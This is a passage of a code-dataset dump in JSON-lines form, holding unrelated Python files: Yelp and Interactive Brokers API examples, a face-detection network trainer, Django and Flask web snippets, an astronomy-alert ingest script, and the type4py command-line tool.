\"food\"\n term = \"bread, sandwich, bun\"\n location = \"Saint Petersburg, FL\"\n open_now = True\n\n try:\n print(term)\n query_api(categories, term, location, open_now)\n\n except HTTPError as error:\n sys.exit(\n 'Encountered HTTP error {0} on {1}:\\n {2}\\nAbort program.'.format(\n error.code,\n error.url,\n error.read(),\n )\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"yelp_api.py","file_name":"yelp_api.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"538749497","text":"from ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom ibapi.contract import Contract\nfrom ibapi.order import *\nfrom threading import Timer\n\nclass TestApp(EWrapper, EClient):\n def __init__(self):\n EClient.__init__(self, self)\n\n def error(self, reqId , errorCode, errorString):\n print(\"Error: \", reqId, \" \", errorCode, \" \", errorString)\n\n def nextValidId(self, orderId ):\n self.nextOrderId = orderId\n self.start()\n\n def orderStatus(self, orderId , status, filled, remaining, avgFillPrice, permId, parentId, lastFillPrice, clientId, whyHeld, mktCapPrice):\n print(\"OrderStatus. Id: \", orderId, \", Status: \", status, \", Filled: \", filled, \", Remaining: \", remaining, \", LastFillPrice: \", lastFillPrice)\n\n def openOrder(self, orderId, contract, order, orderState):\n print(\"OpenOrder. ID:\", orderId, contract.symbol, contract.secType, \"@\", contract.exchange, \":\", order.action, order.orderType, order.totalQuantity, orderState.status)\n\n def execDetails(self, reqId, contract, execution):\n print(\"ExecDetails. \", reqId, contract.symbol, contract.secType, contract.currency, execution.execId,\n execution.orderId, execution.shares, execution.lastLiquidity)\n\n @staticmethod\n def BracketOrder(\n parentOrderId:int, \n action:str, # BUY or SELL\n quantity, # :Decimal\n limitPrice:float,\n delta : float\n ):\n \n #This will be our main or \"parent\" order\n parent = Order()\n parent.orderId = parentOrderId\n parent.action = action\n parent.orderType = \"LMT\"\n parent.totalQuantity = quantity\n parent.lmtPrice = limitPrice\n #The parent and children orders will need this attribute set to False to prevent accidental executions.\n #The LAST CHILD will have it set to True, \n parent.transmit = False\n \n if action == \"SELL\": delta = -delta\n \n takeProfit = Order()\n takeProfit.orderId = parent.orderId + 1\n takeProfit.action = \"SELL\" if action == \"BUY\" else \"BUY\"\n takeProfit.orderType = \"LMT\"\n takeProfit.totalQuantity = quantity\n takeProfit.lmtPrice = limitPrice + delta\n takeProfit.parentId = parentOrderId\n takeProfit.transmit = False\n\n stopLoss = Order()\n stopLoss.orderId = parent.orderId + 2\n stopLoss.action = \"SELL\" if action == \"BUY\" else \"BUY\"\n stopLoss.orderType = \"STP\"\n #Stop trigger price\n stopLoss.auxPrice = limitPrice - delta/2\n stopLoss.totalQuantity = quantity\n stopLoss.parentId = parentOrderId\n #In this case, the low side order will be the last child being sent. Therefore, it needs to set this attribute to True \n #to activate all its predecessors\n stopLoss.transmit = True\n\n bracketOrder = [parent, takeProfit, stopLoss]\n return bracketOrder\n\n def start(self):\n # define contract for USD.RUB forex pair\n FX_contract = Contract() \n FX_contract.symbol = \"USD\"\n FX_contract.secType = \"CASH\"\n FX_contract.exchange = \"IDEALPRO\"\n FX_contract.currency = \"RUB\"\n\n \n bracket = self.BracketOrder(parentOrderId = self.nextOrderId, \n action = \"SELL\", \n quantity = 25000, \n limitPrice = 77.67, \n delta = 0.1)\n for order in bracket:\n self.placeOrder(order.orderId, FX_contract, order)\n #self.nextOrderId = self.nextValidId(self.nextOrderId) # need to advance this we'll skip one extra oid, it's fine\n \n\n def stop(self):\n self.done = True\n self.disconnect()\n\ndef main():\n app = TestApp()\n app.nextOrderId = 0\n app.connect(\"127.0.0.1\", 7497, 9)\n\n Timer(3, app.stop).start()\n app.run()\n\nif __name__ == \"__main__\":\n main()","sub_path":"trading/code/bracket_order_example_tws.py","file_name":"bracket_order_example_tws.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"471909331","text":"#!/usr/bin/python\n\nimport socket\n\ns = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n\ns.connect(\"/tmp/socketname\")\n\ns.send(b'Hello, world')\n\ndata = s.recv(1024)\n\ns.close()\n\nprint('Received ' + repr(data))\n","sub_path":"1516/lectures/03_protocols/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"6845186","text":"import os\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport time\n\nfrom mtcnn_util.mtcnn_util import MTCNNUtil\n\ntf.get_logger().setLevel(\"ERROR\")\ntf.random.set_seed(1)\nnp.random.seed(1)\n\nclass ONet:\n def __init__(self,weight_decay=4e-3,trainingDataPath=None):\n self.weight_decay = weight_decay\n self.optimizer = tf.keras.optimizers.Adam(lr=0.0001)\n self.crossEntropyLoss = tf.keras.losses.CategoricalCrossentropy()\n self.meanSqrdLoss = tf.keras.losses.MeanSquaredError()\n self.trainingDataPath = trainingDataPath\n self.features = {\"image\": tf.io.FixedLenFeature([], tf.string),\n \"label\": tf.io.FixedLenFeature([], tf.string),\n \"boundingBox\": tf.io.FixedLenFeature([], tf.string)\n }\n\n def build_model(self):\n input = tf.keras.Input(shape=(48,48,3),dtype=tf.float16)\n layer1 = tf.keras.layers.Conv2D(filters=32,kernel_size=(3,3),name=\"conv1\",kernel_initializer=MTCNNUtil.get_kernal_initlizer())(input)\n layer1 = tf.keras.layers.PReLU(name=\"prelu1\",alpha_initializer=MTCNNUtil.get_kernal_initlizer())(layer1)\n layer1 = tf.keras.layers.MaxPool2D(pool_size=(3,3),strides=(2,2),name=\"pool1\",padding=\"SAME\")(layer1)\n\n layer2 = tf.keras.layers.Conv2D(filters=64, kernel_size=(3, 3), name=\"conv2\",kernel_initializer=MTCNNUtil.get_kernal_initlizer())(layer1)\n layer2 = tf.keras.layers.PReLU(name=\"prelu2\",alpha_initializer=MTCNNUtil.get_kernal_initlizer())(layer2)\n layer2 = tf.keras.layers.MaxPool2D(pool_size=(3,3),strides=(2,2),name=\"pool2\")(layer2)\n\n layer3 = tf.keras.layers.Conv2D(filters=64, kernel_size=(3, 3),\n name=\"conv3\",\n kernel_initializer=MTCNNUtil.get_kernal_initlizer()\n )(layer2)\n layer3 = tf.keras.layers.PReLU(name=\"prelu3\",alpha_initializer=MTCNNUtil.get_kernal_initlizer())(layer3)\n layer3 = tf.keras.layers.MaxPool2D(pool_size=(2,2),strides=(2,2),name=\"pool3\")(layer3)\n\n layer4 = tf.keras.layers.Conv2D(filters=128, kernel_size=(2, 2), name=\"conv4\",kernel_initializer=MTCNNUtil.get_kernal_initlizer())(layer3)\n layer4 = tf.keras.layers.PReLU(name=\"prelu4\", alpha_initializer=MTCNNUtil.get_kernal_initlizer())(layer4)\n\n layer4 = tf.keras.layers.Flatten()(layer4)\n\n layer5 = tf.keras.layers.Dense(units=256,\n kernel_initializer=MTCNNUtil.get_kernal_initlizer(),\n kernel_regularizer=MTCNNUtil.get_regularizer(),\n name=\"conv5\"\n )(layer4)\n layer5 = tf.keras.layers.PReLU(name=\"prelu5\", alpha_initializer=MTCNNUtil.get_kernal_initlizer())(layer5)\n\n output1 = tf.keras.layers.Dense(units=2,activation=MTCNNUtil.multiDimensionalSoftmax(axis=1),\n kernel_regularizer=MTCNNUtil.get_regularizer(),\n kernel_initializer=MTCNNUtil.get_kernal_initlizer(),\n name=\"conv6-1\"\n )(layer5)\n\n output2 = tf.keras.layers.Dense(units=4,\n kernel_regularizer=MTCNNUtil.get_regularizer(),\n kernel_initializer=MTCNNUtil.get_kernal_initlizer(),\n name = \"conv6-2\"\n )(layer5)\n\n\n model = tf.keras.Model(inputs=[input],outputs = [output1,output2])\n self.model = model\n self.trainCLSAcc = tf.keras.metrics.CategoricalAccuracy()\n self.trainBBAcc = tf.keras.metrics.MeanSquaredError(\"mse\")\n\n self.trainFileWriter = tf.summary.create_file_writer(logdir=\"visual/\")\n\n self.clsLoss = tf.keras.metrics.Mean(name=\"clsLoss\")\n self.bbLoss = tf.keras.metrics.Mean(name=\"bbLoss\")\n\n self.gradients = tf.keras.metrics.Mean(name=\"grdients\")\n\n\n def calculateCrossEntropyLoss(self, output, clsLabel):\n return self.crossEntropyLoss(output, clsLabel)\n\n def calculateMeanSqrdLoss(self, output, bbLabel):\n return self.meanSqrdLoss(output, bbLabel)\n\n @tf.function\n def epoch(self, input, clsLabel, bbLabel, losses, trainPart):\n batch = input.shape[0]\n input = tf.reshape(input, [batch, 48, 48, 3])\n input = tf.image.random_flip_left_right(input)\n input = tf.image.random_flip_up_down(input)\n mask = tf.not_equal(tf.reduce_sum(bbLabel, axis=-1), 0)\n\n with tf.GradientTape() as tape:\n output = self.model(input)\n output[1] = tf.boolean_mask(output[1], mask)\n bbLabel = tf.boolean_mask(bbLabel, mask)\n\n loss = tf.case([(tf.equal(trainPart, 0), lambda: self.crossEntropyLoss(clsLabel,output[0])),\n (tf.equal(trainPart, 1), lambda: self.meanSqrdLoss(output[1], bbLabel))\n ], exclusive=True)\n clsLoss = tf.case(\n [(tf.equal(trainPart, 0), lambda: loss + tf.cast(tf.add_n([losses[0], losses[1]]), dtype=tf.float32)),\n (tf.equal(trainPart, 1),\n lambda: 0.5 * (loss + tf.cast(tf.add_n([losses[0], losses[2]]), dtype=tf.float32)))\n ], exclusive=True)\n\n gradient = tape.gradient(clsLoss, self.model.trainable_variables)\n self.optimizer.apply_gradients(zip(gradient, self.model.trainable_variables))\n tf.case([(tf.equal(trainPart, 0), lambda: self.trainCLSAcc(clsLabel, output[0])),\n (tf.equal(trainPart, 1), lambda: self.trainBBAcc(bbLabel, output[1]))],\n exclusive=True\n )\n\n tf.case([(tf.equal(trainPart, 0), lambda: self.clsLoss(loss)),\n (tf.equal(trainPart, 1), lambda: self.bbLoss(loss))\n ],\n exclusive=True\n )\n self.gradients.update_state(gradient)\n\n def _parseDataset(self, records):\n records = tf.io.parse_example(records, self.features)\n image = records[\"image\"]\n label = records[\"label\"]\n boundingBox = records[\"boundingBox\"]\n label = tf.io.decode_raw(label, tf.float32)\n boundingBox = tf.io.decode_raw(boundingBox, tf.float32)\n image = tf.io.decode_raw(image, out_type=tf.float32)\n image = tf.cast(image, tf.float32)\n return image, label, boundingBox\n\n def readRecordDataSet(self, path):\n dataset = tf.data.Dataset.from_tensor_slices(path)\n dataset = dataset.interleave(lambda x: tf.data.TFRecordDataset(x),\n num_parallel_calls=tf.data.experimental.AUTOTUNE).cache()\n dataset = dataset.shuffle(buffer_size=6144).batch(6144).prefetch(4).map(self._parseDataset,\n num_parallel_calls=tf.data.experimental.AUTOTUNE).cache()\n return dataset\n\n def train(self, epoch, dataset_cls):\n for i in range(epoch):\n batch_count = 0\n epoch_execution_time = 0\n start = time.time()\n data_reading_start_time = time.time()\n\n self.trainCLSAcc.reset_states()\n self.clsLoss.reset_states()\n self.bbLoss.reset_states()\n self.trainBBAcc.reset_states()\n self.gradients.reset_states()\n\n for image, label, boundingBoxLabel in dataset_cls:\n randNum = np.random.randint(0, 2)\n batch_count += 1\n start_epoch_time = time.time()\n l2 = self.model.get_layer(\"conv5\").losses[0]\n l3 = self.model.get_layer(\"conv6-1\").losses[0]\n l4 = self.model.get_layer(\"conv6-2\").losses[0]\n self.epoch(tf.constant(image), tf.constant(label), tf.constant(boundingBoxLabel),\n tf.stack([l2, l3, l4]),\n tf.constant(randNum))\n end_epoch_time = time.time()\n epoch_execution_time += (end_epoch_time - start_epoch_time)\n data_reading_end_time = time.time()\n end = time.time()\n\n print(\n \"Epoch count :{0} epoch execution time: {1},cls loss {2},cls accuracy {3},BB loss {4},BB accuracy {5} , model exeution time {6},\"\n \"Data reading time {7}\".format(i, (end - start), self.clsLoss.result(), self.trainCLSAcc.result(),\n self.bbLoss.result(), self.trainBBAcc.result(),\n epoch_execution_time, (data_reading_end_time - data_reading_start_time)))\n\n if i % 1000 == 0:\n with self.trainFileWriter.as_default():\n tf.summary.scalar(\"BB Loss\", self.bbLoss.result(), i)\n tf.summary.scalar(\"CLS Loss\", self.clsLoss.result(), i)\n tf.summary.scalar(\"CLS Accuracy\", self.trainCLSAcc.result(), i)\n tf.summary.scalar(\"Train BB Accuracy\", self.trainBBAcc.result(), i)\n tf.summary.histogram(\"Gradients\", self.gradients.result(), i)\n layers = self.model.layers\n names = [\"weight\", \"bias\"]\n for layer in layers:\n weights = layer.get_weights()\n for name, weight in zip(names, weights):\n tf.summary.histogram(name=layer.name + \"_\" + name, data=weight, step=i)\n\n if i % 1000 == 0:\n self.model.save(filepath=\"model/{0}/48\".format(i))\n self.model.save_weights(filepath=\"model_wts/{0}/48\".format(i))\n\n if i % 1000 == 0:\n self.model.save(filepath=\"model/{0}/12\".format(i))\n self.model.save_weights(filepath=\"model_wts/{0}/12\".format(i))","sub_path":"ONet.py","file_name":"ONet.py","file_ext":"py","file_size_in_byte":10003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"59893958","text":"import re\nfrom visits.models import BlacklistedIP, BlacklistedUserAgent\n\n\ndef update_visit_count(request, visit_count):\n \"\"\"\n Evaluates a request, add a visit to the corresponding item counter if the request is not blacklisted.\n \"\"\"\n if not _is_blacklisted(request):\n visit_count.increase_visit_count(commit=True)\n\n\ndef _is_blacklisted(request):\n ip = _get_ip(request)\n user_agent = request.META.get('HTTP_USER_AGENT', '')[:255]\n\n return bool(\n BlacklistedIP.objects.filter(ip__exact=ip) or \\\n BlacklistedUserAgent.objects.filter(user_agent__exact=user_agent)\n )\n\n\n# this is not intended to be an all-knowing IP address regex\nIP_RE = re.compile('\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}')\n\n\ndef _get_ip(request):\n \"\"\"\n Retrieves the remote IP address from the request data. If the user is\n behind a proxy, they may have a comma-separated list of IP addresses, so\n we need to account for that. In such a case, only the first IP in the\n list will be retrieved. Also, some hosts that use a proxy will put the\n REMOTE_ADDR into HTTP_X_FORWARDED_FOR. This will handle pulling back the\n IP from the proper place.\n\n **NOTE** This function was taken from django-tracking (MIT LICENSE)\n http://code.google.com/p/django-tracking/\n \"\"\"\n\n # if neither header contain a value, just use local loopback\n ip_address = request.META.get('HTTP_X_FORWARDED_FOR', request.META.get('REMOTE_ADDR', '127.0.0.1'))\n if ip_address:\n # make sure we have one and only one IP\n try:\n ip_address = IP_RE.match(ip_address)\n if ip_address:\n ip_address = ip_address.group(0)\n else:\n # no IP, probably from some dirty proxy or other device\n # throw in some bogus IP\n ip_address = '10.0.0.1'\n except IndexError:\n pass\n\n return ip_address","sub_path":"visits/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"204585410","text":"# A XOR A = 0 \n# ((2^2)^(1^1)^(4^4)^(5)) => (0^0^0^5) => 5\n#\n# one line:\n# return reduce(lambda x, y: x ^ y, nums)\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n res = 0\n for i in nums:\n res ^= i\n \n return res\n","sub_path":"python/136_singleNumber.py","file_name":"136_singleNumber.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"401806094","text":"\"\"\"\nThis script is meant to run in parallel on the ingest nodes of the LasairTech \ncluster. It runs a subprocess ingestStreamThreaded that pulls Kafka alerts,\nwhich processes the alerts, then puts them into a local MySQL database.\nWhen that is finished, a CSV file is made from the database, and pushed \n(with scp) to the archive node that has the master database.\n\"\"\"\n\nimport os,sys\nimport time\nfrom socket import gethostname\nfrom datetime import datetime\nimport settings\nimport date_nid\n\nif len(sys.argv) > 1:\n nid = int(sys.argv[1])\nelse:\n nid = date_nid.nid_now()\n\ndate = date_nid.nid_to_date(nid)\ntopic = 'ztf_' + date + '_programid1'\n\nos.system('date')\nprint('clear local caches')\ncmd = 'python3 refresh.py'\nos.system(cmd)\n\nprint('INGEST start %s' % datetime.utcnow().strftime(\"%H:%M:%S\"))\nprint('ingest from kafka')\nprint(\"Topic is %s, nid is %d\" % (topic, nid))\nt = time.time()\n\ncmd = 'python3 ingestStreamThreaded.py '\ncmd += '--maxalert %d ' % settings.KAFKA_MAXALERTS\ncmd += '--nthread %d ' % settings.KAFKA_THREADS\ncmd += '--group %s ' % settings.KAFKA_GROUPID\ncmd += '--host %s ' % settings.KAFKA_PRODUCER\ncmd += '--topic ' + topic\n\n# Run the ingestion\nprint(cmd)\nos.system(cmd)\nprint('INGEST duration %.1f seconds' % (time.time() - t))\n\n# The command that makes the CSV file\nt = time.time()\nprint('SEND to ARCHIVE')\ncmd = 'mysql --user=ztf --database=ztf --password=%s < output_csv.sql' % settings.DB_PASS_WRITE\nos.system(cmd)\n\noutfile = '/home/ubuntu/scratch/out.txt'\ncmd = 'mv /var/lib/mysql-files/out.txt %s' % outfile\nos.system(cmd)\n\n# Detect if nothing came from the ingest; if so exit\nif os.path.exists(outfile) and os.stat(outfile).st_size == 0:\n print('SEND outfile is empty')\n print('SEND %.1f seconds' % (time.time() - t))\n sys.exit(1)\n\n# Push the CSV file to the archive node, with a name corresponding \n# to the name of this node\nout = gethostname()\ncmd = 'scp /home/ubuntu/scratch/out.txt %s:scratch/%s' % (settings.DB_HOST_REMOTE, out)\nos.system(cmd)\n\n# Run the command on the archive node to read in the CSV file \n# to the master database\ncmd = 'ssh %s \"python3 /home/ubuntu/LasairTech/database_tests/ingest/archive_in.py %s\"' % (settings.DB_HOST_REMOTE, out)\nos.system(cmd)\nprint('SEND %.1f seconds' % (time.time() - t))\n\nsys.exit(0)\n","sub_path":"database_tests/filter/ingest.py","file_name":"ingest.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"626342747","text":"from flask import Flask, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\n\ndb = SQLAlchemy()\nmigrate = Migrate(compare_type=True)\n\ndef create_app():\n\n app = Flask(__name__)\n app.config.from_pyfile('../config.py')\n db.init_app(app)\n migrate.init_app(app, db)\n\n from . import auth, book, rental\n\n app.register_blueprint(auth.bp)\n app.register_blueprint(book.bp)\n app.register_blueprint(rental.bp)\n\n @app.route('/')\n def hello_world():\n return render_template('auth/index.html')\n\n return app\n","sub_path":"elice_library/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"194913777","text":"from type4py.extract_pipeline import Pipeline\nfrom type4py.preprocess import preprocess_ext_fns\nfrom type4py.vectorize import vectorize_args_ret\nfrom type4py import data_loaders\nfrom type4py.learn import train\nfrom type4py.predict import test\nfrom type4py.eval import evaluate\nimport argparse\n\ndata_loading_comb = {'train': data_loaders.load_combined_train_data, 'valid': data_loaders.load_combined_valid_data,\n 'test': data_loaders.load_combined_test_data, 'labels': data_loaders.load_combined_labels, \n 'name': 'combined'}\n\ndata_loading_param = {'train': data_loaders.load_param_train_data, 'valid': data_loaders.load_param_valid_data,\n 'test': data_loaders.load_param_test_data, 'labels': data_loaders.load_param_labels, \n 'name': 'argument'}\n\ndata_loading_ret = {'train': data_loaders.load_ret_train_data, 'valid': data_loaders.load_ret_valid_data,\n 'test': data_loaders.load_ret_test_data, 'labels': data_loaders.load_ret_labels, \n 'name': 'return'}\n\ndef extract(args):\n p = Pipeline(args.c, args.o, args.d)\n p.run(args.w, args.l)\n\ndef preprocess(args):\n preprocess_ext_fns(args.o)\n\ndef vectorize(args):\n vectorize_args_ret(args.o)\n\ndef learn(args):\n if args.a:\n train(args.o, data_loading_param, args.p)\n elif args.r:\n train(args.o, data_loading_ret, args.p)\n else:\n train(args.o, data_loading_comb, args.p)\n\ndef predict(args):\n if args.a:\n test(args.o, data_loading_param)\n elif args.r:\n test(args.o, data_loading_ret)\n else:\n test(args.o, data_loading_comb)\n\ndef eval(args):\n if args.a:\n evaluate(args.o, data_loading_param, args.tp)\n elif args.r:\n evaluate(args.o, data_loading_ret, args.tp)\n else:\n evaluate(args.o, data_loading_comb, args.tp)\n\ndef main():\n arg_parser = argparse.ArgumentParser()\n sub_parsers = arg_parser.add_subparsers(dest='cmd')\n\n # Extract phase\n extract_parser = sub_parsers.add_parser('extract')\n extract_parser.add_argument('--c', '--corpus', required=True, type=str, help=\"Path to the Python corpus or dataset\")\n extract_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to store processed projects\")\n extract_parser.add_argument('--d', '--deduplicate', required=False, type=str, help=\"Path to duplicate files\")\n extract_parser.add_argument('--w', '--workers', required=False, default=4, type=int, help=\"Number of workers to extract functions from the input corpus\")\n extract_parser.add_argument('--l', '--limit', required=False, type=int, help=\"Limits the number of projects to be processed\")\n extract_parser.set_defaults(func=extract)\n\n # Preprocess phase\n proprocess_parser = sub_parsers.add_parser('preprocess')\n proprocess_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to processed projects\")\n proprocess_parser.set_defaults(func=preprocess)\n\n # Vectorize phase\n vectorize_parser = sub_parsers.add_parser('vectorize')\n vectorize_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to processed projects\")\n vectorize_parser.set_defaults(func=vectorize)\n\n # Learning phase\n learning_parser = sub_parsers.add_parser('learn')\n learning_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to processed projects\")\n learning_parser.add_argument('--c', '--combined', default=True, action=\"store_true\", help=\"combined prediction task\")\n learning_parser.add_argument('--a', '--argument', default=False, action=\"store_true\", help=\"argument prediction task\")\n learning_parser.add_argument('--r', '--return', default=False, action=\"store_true\", help=\"return prediction task\")\n learning_parser.add_argument('--p', '--parameters', required=False, type=str, help=\"Path to the JSON file of model's hyper-parameters\")\n learning_parser.set_defaults(func=learn)\n\n # Prediction phase\n predict_parser = sub_parsers.add_parser('predict')\n predict_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to processed projects\")\n predict_parser.add_argument('--c', '--combined', default=True, action=\"store_true\", help=\"combined prediction task\")\n predict_parser.add_argument('--a', '--argument', default=False, action=\"store_true\", help=\"argument prediction task\")\n predict_parser.add_argument('--r', '--return', default=False, action=\"store_true\", help=\"return prediction task\")\n predict_parser.set_defaults(func=predict)\n\n # Evaluation phase\n eval_parser = sub_parsers.add_parser('eval')\n eval_parser.add_argument('--o', '--output', required=True, type=str, help=\"Path to processed projects\")\n eval_parser.add_argument('--c', '--combined', default=True, action=\"store_true\", help=\"combined prediction task\")\n eval_parser.add_argument('--a', '--argument', default=False, action=\"store_true\", help=\"argument prediction task\")\n eval_parser.add_argument('--r', '--return', default=False, action=\"store_true\", help=\"return prediction task\")\n eval_parser.add_argument('--tp', '--topn', default=10, type=int, help=\"Report top-n predictions [default n=10]\")\n eval_parser.set_defaults(func=eval)\n\n args = arg_parser.parse_args()\n args.func(args)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"type4py/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"128453119","text":"\"\"\"techlech URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom ecommercial import views\nfrom django.contrib.auth.views import login,logout\nfrom django.contrib.staticfiles.urls import static\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom .import settings\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$',views.home,name='home'),\n url(r'^add_basket/(?P\\d+)/$',views.cart_item_add,name='home_add_to_basket'),\n url(r'^register/$',views.register,name = 'register'),\n url(r'^login/$',login,{'template_name':'accounts/login.html'},name = 'login'),\n url(r'^accounts/logout/$',logout,{'template_name':'accounts/logout.html'},name = 'logout'),\n url(r'^accounts/profile/$',views.profile,name='profile'),\n url(r'^product_/(?P\\d+)/$',views.single,name = 'single'),\n url(r'^cart/$',views.cart,name='cart'),\n url(r'^cart_remove/(?P\\d+)/$',views.cart_item_remove,name='cart_remove'),\n url(r'^contact/$',views.contact,name='contact'),\n url(r'^(?P\\d+)/$',views.home,name = 'filter_product'),\n url(r'^category/$',views.all_items,name='category'),\n url(r'^cart/payment/$',views.payment,name=\"payment\"),\n url(r'^cart/payment/pay$',views.pay,name=\"pay\"),\n url(r'^1239floreoKfdFDkasdlfd/$',views.completed,name=\"success\"),\n]\n\n\n#Url patterns for media directory for photos\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"techlech/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"265836586","text":"# -*- coding: cp936 -*-\n'''\nCreated on 2012-3-29\n\n@author: hongchenzai\n'''\nfrom base import comp_base\nimport common\nfrom component.multi_lang_name import SHIELD_SPLIT_CHR\nfrom component.multi_lang_name import NAME_PRIORITY\nfrom component.multi_lang_name import MultiLangName\nfrom component.multi_lang_name import NAME_TYPE_ROUTE_NUM\nfrom component.multi_lang_name import NAME_TYPE_ALTER\nfrom component.multi_lang_name import NAME_TYPE_OFFICIAL\n\n\nclass comp_dictionary(comp_base):\n '''字典\n '''\n\n def __init__(self):\n '''\n Constructor\n '''\n comp_base.__init__(self, 'Dictionary')\n\n def _DoCreateTable(self):\n # 名称字典表\n self.CreateTable2('name_dictionary_tbl')\n self.CreateTable2('language_tbl')\n # link和名称的临时关联表\n self.CreateTable2('temp_link_name')\n # 道路番号和名称的临时关联表\n self.CreateTable2('temp_link_no')\n # node和名称的临时关联表\n self.CreateTable2('temp_node_name')\n # 方面名称和名称的临时关联表\n self.CreateTable2('temp_toward_name')\n # 方面看板和名称的临时关联表\n self.CreateTable2('temp_signpost_name')\n # POI名称和名称的临时关联表\n self.CreateTable2('temp_poi_name')\n return 0\n\n def _Do(self):\n # 创建语言种别的中间表\n self._InsertLanguages()\n\n # 道路名称字典\n self._MakeLinkName()\n # 道路番号字典\n self._MakeRoadNumber()\n # 交叉点名称字典\n self._MakeCrossName()\n # 方面名称字典\n self._MakeTowardName()\n # 方面看板名称字典\n self._MakeSignPostName()\n # POI名称字典\n self._MakePOIName()\n return 0\n\n def _MakeLinkName(self):\n \"道路名称字典\"\n return 0\n\n def _MakeRoadNumber(self):\n \"道路名称字典\"\n return 0\n\n def _MakeCrossName(self):\n \"交叉点名称字典\"\n return 0\n\n def _MakeTowardName(self):\n \"方面名称字典\"\n return 0\n\n def _MakeSignPostName(self):\n \"方面看板名称字典\"\n return 0\n\n def _MakePOIName(self):\n \"POI名称字典\"\n return 0\n\n def _InsertLanguages(self):\n '往language_tbl表，插入语言记录。'\n path = common.GetPath('language_table')\n self.CreateTable2('language_tbl')\n language_list = common.GetAllLanguages(path)\n sqlcmd = \"\"\"\n INSERT INTO language_tbl(\n language_id\n , l_full_name\n , l_talbe\n , pronunciation\n , p_table\n , language_code\n , language_code_client\n , language_id_client)\n VALUES (%s, %s, %s, %s,\n %s, %s, %s, %s);\n \"\"\"\n for recod in language_list:\n self.pg.execute2(sqlcmd, recod)\n self.pg.commit2()\n\n self.CreateIndex2('language_tbl_language_code_idx')\n self.CreateTable2('language_tbl_l_full_name_idx')\n self.CreateTable2('language_tbl_l_talbe_idx')\n\n def set_language_code(self):\n from component.multi_lang_name import MultiLangName\n if not MultiLangName.is_initialized():\n self.log.info('Set language Code.')\n self.pg.connect2()\n sqlcmd = \"\"\"\n select language_code\n from language_tbl\n order by language_code;\n \"\"\"\n code_dict = dict()\n language_codes = self.get_batch_data(sqlcmd)\n for lang_info in language_codes:\n lang_code = lang_info[0]\n code_dict[lang_code] = None\n MultiLangName.set_language_code(code_dict)\n return 0\n\n def store_language_flag(self):\n '''保存当前地图使用语言.'''\n from component.multi_lang_name import MultiLangName\n sqlcmd = \"\"\"UPDATE language_tbl SET exist_flag = True\n WHERE language_code = %s;\n \"\"\"\n languages = MultiLangName.get_language_code()\n for lang_code, flag in languages.iteritems():\n if flag:\n self.pg.execute2(sqlcmd, (lang_code, ))\n self.pg.commit2()\n\n def merge_links_name(self, link_list):\n road_name_list = []\n road_number_list = []\n self.pg.connect2()\n for road_names, road_numbers in self._get_links_name_number(link_list):\n if road_names:\n self._merge_name(road_name_list, road_names)\n if road_numbers:\n self._merge_number(road_number_list, road_numbers)\n # 把番号追加到名称的结尾\n self._append_num_2_name(road_number_list, road_name_list)\n json_name = MultiLangName.json_format_dump2(road_name_list)\n json_shield = MultiLangName.json_format_dump2(road_number_list)\n return json_name, json_shield\n\n def _merge_name(self, road_name_list, road_names):\n '''合并道路名称'''\n for road_name in road_names:\n if not road_name_list:\n road_name_list.append(road_name)\n continue\n name_type = road_name[0].get('type')\n if name_type == NAME_TYPE_ROUTE_NUM:\n continue\n if road_name in road_name_list:\n continue\n name_pri = NAME_PRIORITY.get(name_type)\n name_cnt = 0\n while name_cnt < 